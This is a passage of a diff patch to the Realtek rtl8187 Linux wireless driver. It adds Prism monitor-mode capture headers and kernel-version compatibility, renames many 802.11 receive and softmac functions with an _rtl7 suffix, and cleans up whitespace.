ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); +#else + skb_reset_mac_header(skb); +#endif + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +134,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +164,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +203,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +216,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +226,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +248,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,13 +257,13 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); - + return 0; - + #ifdef NOT_YET if (ieee->iw_mode == IW_MODE_MASTER) { printk(KERN_DEBUG "%s: Master mode not yet suppported.\n", @@ -253,7 +323,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +364,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +374,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +409,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +419,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +437,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -413,7 +483,7 @@ last_seq = &ieee->last_seq_num; last_frag = &ieee->last_frag_num; last_time = &ieee->last_packet_time; - + break; default: return 0; @@ -436,7 +506,7 @@ drop: // BUG_ON(!(fc & IEEE80211_FCTL_RETRY)); // printk("DUP\n"); - + return 1; } @@ -444,7 +514,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -481,9 +551,9 @@ type = WLAN_FC_GET_TYPE(fc); stype = WLAN_FC_GET_STYPE(fc); sc = le16_to_cpu(hdr->seq_ctl); - + frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +571,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +599,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +625,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -573,9 +643,9 @@ goto rx_dropped; } #endif - - - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + + + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -583,7 +653,7 @@ /* Data frame - extract src/dst addresses */ - + switch (fc & (IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS)) { case IEEE80211_FCTL_FROMDS: memcpy(dst, hdr->addr1, ETH_ALEN); @@ -606,7 +676,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +689,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +700,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +734,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +744,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +764,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +792,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +833,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -861,7 +931,12 @@ if (skb2 != NULL) { /* send to wireless media */ skb2->protocol = __constant_htons(ETH_P_802_3); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb2->mac.raw = skb2->nh.raw = skb2->data; +#else + skb_reset_mac_header(skb2); + skb_reset_network_header(skb2); +#endif /* skb2->nh.raw = skb2->data + ETH_HLEN; */ skb2->dev = dev; dev_queue_xmit(skb2); @@ -896,7 +971,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +988,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1039,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1066,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1089,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1043,47 +1118,47 @@ break; case MFIE_TYPE_TIM: - - if(info_element->len < 4) + + if(info_element->len < 4) break; - + network->dtim_period = info_element->data[1]; - + if(ieee->state != IEEE80211_LINKED) break; - - network->last_dtim_sta_time[0] = stats->mac_time[0]; + + network->last_dtim_sta_time[0] = stats->mac_time[0]; network->last_dtim_sta_time[1] = stats->mac_time[1]; - + network->dtim_data = IEEE80211_DTIM_VALID; - - if(info_element->data[0] != 0) + + if(info_element->data[0] != 0) break; - + if(info_element->data[2] & 1) network->dtim_data |= IEEE80211_DTIM_MBCAST; - + offset = (info_element->data[2] >> 1)*2; - - //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); - - if(ieee->assoc_id < offset || + + //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); + + if(ieee->assoc_id < offset || ieee->assoc_id > 8*(offset + info_element->len -3)) - + break; - - + + offset = offset + ieee->assoc_id / 8;// + ((aid % 8)? 0 : 1) ; - - // printk("offset:%x data:%x, ucast:%d\n", offset, + + // printk("offset:%x data:%x, ucast:%d\n", offset, // info_element->data[3+offset] , // info_element->data[3+offset] & (1<<(ieee->assoc_id%8))); - + if(info_element->data[3+offset] & (1<<(ieee->assoc_id%8))) network->dtim_data |= IEEE80211_DTIM_UCAST; - + break; - + case MFIE_TYPE_IBSS_SET: IEEE80211_DEBUG_SCAN("MFIE_TYPE_IBSS_SET: ignored\n"); break; @@ -1115,7 +1190,7 @@ memcpy(network->rsn_ie, info_element, network->rsn_ie_len); break; - + default: IEEE80211_DEBUG_SCAN("unsupported IE %d\n", info_element->id); @@ -1147,7 +1222,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,24 +1230,24 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID - * and the capability field (in particular IBSS and BSS) all match. + * and the capability field (in particular IBSS and BSS) all match. * We treat all with the same BSSID and channel * as one network */ return ((src->ssid_len == dst->ssid_len) && (src->channel == dst->channel) && !memcmp(src->bssid, dst->bssid, ETH_ALEN) && !memcmp(src->ssid, dst->ssid, src->ssid_len) && - ((src->capability & WLAN_CAPABILITY_IBSS) == + ((src->capability & WLAN_CAPABILITY_IBSS) == (dst->capability & WLAN_CAPABILITY_IBSS)) && - ((src->capability & WLAN_CAPABILITY_BSS) == + ((src->capability & WLAN_CAPABILITY_BSS) == (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1194,7 +1269,7 @@ dst->dtim_data = src->dtim_data; dst->last_dtim_sta_time[0] = src->last_dtim_sta_time[0]; dst->last_dtim_sta_time[1] = src->last_dtim_sta_time[1]; - + memcpy(dst->wpa_ie, src->wpa_ie, src->wpa_ie_len); dst->wpa_ie_len = src->wpa_ie_len; memcpy(dst->rsn_ie, src->rsn_ie, src->rsn_ie_len); @@ -1204,7 +1279,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1314,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1261,12 +1336,12 @@ * already there. */ spin_lock_irqsave(&ieee->lock, flags); - - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); - + + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); + list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1381,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1315,39 +1390,39 @@ WLAN_FC_GET_STYPE(beacon->header.frame_ctl) == IEEE80211_STYPE_PROBE_RESP ? "PROBE RESPONSE" : "BEACON"); - + /* we have an entry and we are going to update it. But this entry may - * be already expired. In this case we do the same as we found a new + * be already expired. In this case we do the same as we found a new * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_BEACON: IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; - + case IEEE80211_STYPE_PROBE_RESP: IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1430,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_softmac.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_softmac.c 2006-06-18 21:27:33.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c 2008-08-12 13:11:32.000000000 -0400 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, 